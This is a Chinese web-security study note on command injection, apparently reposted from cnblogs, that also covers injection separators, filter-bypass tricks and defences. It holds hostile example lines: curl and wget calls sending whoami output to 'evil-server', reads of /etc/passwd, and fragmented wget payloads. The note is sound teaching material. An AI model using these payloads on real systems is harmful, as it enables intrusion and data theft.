ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Web安全学习笔记 命令注入漏洞浅析

2022-05-15 12:35:09  阅读:180  来源: 互联网

标签:Web shell 漏洞 exec cat 命令 绕过 浅析


Web安全学习笔记 命令注入漏洞浅析

学习目录


  • 1.简介
  • 2.常见危险函数
    • PHP
    • JAVA
    • PYTHON
  • 3.常见注入方式
  • 4.无回显技巧
  • 5.常见绕过方式
    • 空格绕过
    • 黑名单绕过
    • 长度限制绕过
  • 6.常用符号
    • 通配符
    • 命令分隔符
  • 7.防御

1. 简介

命令注入通常是值因为Web应用程序在服务器上拼接系统命令而造成的漏洞

该类漏洞通常出现在调用外部程序完成一些功能的情景下出现。

比如一些Web管理界面的配置(主机名/IP/掩码/网关查看系统信息以及关闭重启等)功能,或者一些站点提供如pingnslookup提供发送邮件转换图片等功能都可能出现该类漏洞。

2. 常见危险函数

2.1. PHP

  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open

2.2. Python

  • system
  • popen
  • subprocess.call
  • spawn

2.3. Java

  • java.lang.Runtime.getRuntime().exec(command)

3. 常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 换行
  • 反引号解析
  • $() 替换

4. 无回显技巧

  • bash反弹shell
  • DNS带外数据
  • http带外
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
  • 无带外时利用 sleep 或其他逻辑构造布尔条件

5. 常见绕过方式

5.1. 空格绕过

  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

5.2. 黑名单绕过

  • a=l;b=s;$a$b
  • base64 echo "bHM=" | base64 -d
  • /?in/?s => /bin/ls
  • 连接符 cat /etc/pass'w'd
  • 未定义的初始化变量 cat$x /etc/passwd

5.3. 长度限制绕过

>wget\
>foo.\
>com
ls -t>a
sh a

上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件

6. 常用符号

6.1. 命令分隔符

  • %0a / %0d / \n / \r
  • ;
  • & / &&

6.2. 通配符

  • * 0到无穷个任意字符
  • ?一个任意字符
  • [ ] 一个在括号内的字符e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ]一个不在括号内的字符

7. 防御

  • 不使用时禁用相应函数
  • 尽量不要执行外部的应用程序或命令
  • 做输入的格式检查
  • 转义命令中的所有shell元字符
    • shell元字符包括 #&;,|*?~<>^()[]{}$`

标签:Web,shell,漏洞,exec,cat,命令,绕过,浅析
来源: https://www.cnblogs.com/icml8/p/16272820.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有